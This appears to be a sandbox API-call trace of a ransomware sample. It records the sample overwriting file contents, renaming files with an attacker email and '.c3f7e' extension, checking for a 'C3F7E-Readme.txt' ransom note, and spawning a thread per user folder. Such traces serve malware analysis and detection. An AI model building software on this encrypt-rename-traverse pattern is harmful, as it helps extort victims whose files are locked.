	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xf964017f
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x58acfab7
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x9d20975a
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x5eafb114
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x1f748087
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x2856e723
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x9b6bcdf4
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x251d1137
	[0074.967] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.967] ReadFile (in: hFile=0x8b8, lpBuffer=0x2e3afa8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x8b0fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2e3afa8*, lpNumberOfBytesRead=0x8b0fc4c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.968] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73d20
	[0074.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478d0
	[0074.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478d0) returned 1
	[0074.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e1df88
	[0074.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0074.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0074.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.970] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0074.970] WriteFile (in: hFile=0x8b8, lpBuffer=0x2e1df88*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x8b0fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2e1df88*, lpNumberOfBytesWritten=0x8b0fc4c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e1df88) returned 1
	[0074.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3afa8) returned 1
	[0074.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x83) returned 0x2d7b660
	[0074.976] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.976] WriteFile (in: hFile=0x8b8, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x8b0fccc, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x8b0fccc*=0x167, lpOverlapped=0x0) returned 1
	[0075.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b1e0) returned 1
	[0075.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0075.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b660) returned 1
	[0075.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0075.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0075.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0075.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47830) returned 1
	[0075.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2d70218
	[0075.018] wcscpy (in: _Dest=0x2d70218, _Source="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx"
	[0075.018] wcscat (in: _Dest=0x2d70218, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.018] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x8b0fc84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2d89690
	[0075.019] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0075.019] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.019] NtQueryInformationFile (in: FileHandle=0x8b8, IoStatusBlock=0x8b0fc90, FileInformation=0x8b0fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8b0fc90, FileInformation=0x8b0fc68) returned 0x0
	[0075.019] NtSetInformationFile (FileHandle=0x8b8, IoStatusBlock=0x8b0fc90, FileInformation=0x8b0fc68, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.020] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70218) returned 1
	[0075.020] FlushFileBuffers (hFile=0x8b8) returned 1
	[0075.021] CloseHandle (hObject=0x8b8) returned 1
	[0075.021] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c40
	[0075.021] wcscpy (in: _Dest=0x2d70c40, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.021] wcscat (in: _Dest=0x2d70c40, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0075.021] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0075.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c40) returned 1
	[0075.021] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ac40) returned 1

Thread:
	id = 154
	os_tid = 0xe84

	[0074.420] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x26) returned 0x2d77db0
	[0074.420] wcscpy (in: _Dest=0x2d77db0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0074.420] wcscat (in: _Dest=0x2d77db0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0074.420] wcscat (in: _Dest=0x2d77db0, _Source="*" | out: _Dest="C:\\Users\\Default\\*") returned="C:\\Users\\Default\\*"
	[0074.420] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86140
	[0074.420] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0074.421] wcscmp (_String1=".", _String2=".") returned 0
	[0074.421] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.446] wcscmp (_String1="..", _String2=".") returned 1
	[0074.446] wcscmp (_String1="..", _String2="..") returned 0
	[0074.446] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0074.446] wcscmp (_String1="AppData", _String2=".") returned 1
	[0074.446] wcscmp (_String1="AppData", _String2="..") returned 1
	[0074.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70b00
	[0074.446] wcscpy (in: _Dest=0x2d70b00, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0074.446] wcscat (in: _Dest=0x2d70b00, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0074.446] wcscat (in: _Dest=0x2d70b00, _Source="AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData"
	[0076.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44
	[0076.977] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0076.977] wcscmp (_String1="Application Data", _String2=".") returned 1
	[0076.977] wcscmp (_String1="Application Data", _String2="..") returned 1
	[0076.977] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2e015d0
	[0076.977] wcscpy (in: _Dest=0x2e015d0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.977] wcscat (in: _Dest=0x2e015d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.978] wcscat (in: _Dest=0x2e015d0, _Source="Application Data" | out: _Dest="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data"
	[0076.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e015d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48
	[0076.978] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0076.978] wcscmp (_String1="Cookies", _String2=".") returned 1
	[0076.978] wcscmp (_String1="Cookies", _String2="..") returned 1
	[0076.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dacb38
	[0076.978] wcscpy (in: _Dest=0x2dacb38, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.978] wcscat (in: _Dest=0x2dacb38, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.978] wcscat (in: _Dest=0x2dacb38, _Source="Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies"
	[0076.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dacb38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c
	[0076.979] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0076.979] wcscmp (_String1="Desktop", _String2=".") returned 1
	[0076.979] wcscmp (_String1="Desktop", _String2="..") returned 1
	[0076.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dacc38
	[0076.979] wcscpy (in: _Dest=0x2dacc38, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.979] wcscat (in: _Dest=0x2dacc38, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.979] wcscat (in: _Dest=0x2dacc38, _Source="Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop"
	[0076.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dacc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50
	[0076.980] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0076.980] wcscmp (_String1="Documents", _String2=".") returned 1
	[0076.980] wcscmp (_String1="Documents", _String2="..") returned 1
	[0076.980] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacb78
	[0076.980] wcscpy (in: _Dest=0x2dacb78, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.980] wcscat (in: _Dest=0x2dacb78, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.980] wcscat (in: _Dest=0x2dacb78, _Source="Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0076.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dacb78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54
	[0076.981] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0076.981] wcscmp (_String1="Downloads", _String2=".") returned 1
	[0076.981] wcscmp (_String1="Downloads", _String2="..") returned 1
	[0076.981] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacbb8
	[0076.981] wcscpy (in: _Dest=0x2dacbb8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.981] wcscat (in: _Dest=0x2dacbb8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.981] wcscat (in: _Dest=0x2dacbb8, _Source="Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads"
	[0076.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dacbb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58
	[0076.982] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0076.982] wcscmp (_String1="Favorites", _String2=".") returned 1
	[0076.982] wcscmp (_String1="Favorites", _String2="..") returned 1
	[0076.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacbf8
	[0076.982] wcscpy (in: _Dest=0x2dacbf8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.982] wcscat (in: _Dest=0x2dacbf8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.982] wcscat (in: _Dest=0x2dacbf8, _Source="Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites"
	[0076.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dacbf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c
	[0076.983] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0076.983] wcscmp (_String1="Links", _String2=".") returned 1
	[0076.983] wcscmp (_String1="Links", _String2="..") returned 1
	[0076.983] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x47bb040
	[0076.983] wcscpy (in: _Dest=0x47bb040, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.983] wcscat (in: _Dest=0x47bb040, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.983] wcscat (in: _Dest=0x47bb040, _Source="Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links"
	[0076.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60
	[0076.984] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
	[0076.984] wcscmp (_String1="Local Settings", _String2=".") returned 1
	[0076.984] wcscmp (_String1="Local Settings", _String2="..") returned 1
	[0076.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0076.984] wcscpy (in: _Dest=0x2dfb1e0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.984] wcscat (in: _Dest=0x2dfb1e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.984] wcscat (in: _Dest=0x2dfb1e0, _Source="Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings"
	[0076.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dfb1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64
	[0076.984] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0076.984] wcscmp (_String1="Music", _String2=".") returned 1
	[0076.984] wcscmp (_String1="Music", _String2="..") returned 1
	[0076.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x47bb4a0
	[0076.985] wcscpy (in: _Dest=0x47bb4a0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.985] wcscat (in: _Dest=0x47bb4a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.985] wcscat (in: _Dest=0x47bb4a0, _Source="Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music"
	[0076.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68
	[0076.985] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
	[0076.985] wcscmp (_String1="My Documents", _String2=".") returned 1
	[0076.985] wcscmp (_String1="My Documents", _String2="..") returned 1
	[0076.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2dfb228
	[0076.985] wcscpy (in: _Dest=0x2dfb228, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.985] wcscat (in: _Dest=0x2dfb228, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.986] wcscat (in: _Dest=0x2dfb228, _Source="My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents"
	[0076.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dfb228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c
	[0076.986] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
	[0076.986] wcscmp (_String1="NetHood", _String2=".") returned 1
	[0076.986] wcscmp (_String1="NetHood", _String2="..") returned 1
	[0076.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dacc78
	[0076.986] wcscpy (in: _Dest=0x2dacc78, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0076.986] wcscat (in: _Dest=0x2dacc78, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\"
	[0076.986] wcscat (in: _Dest=0x2dacc78, _Source="NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood"
	[0076.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dacc78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70
	[0076.987] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d86140 | out: lpFindFileData=0x2d86140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4aac40, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x19fa8eb, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x19fa8eb, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1
	[0076.987] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1
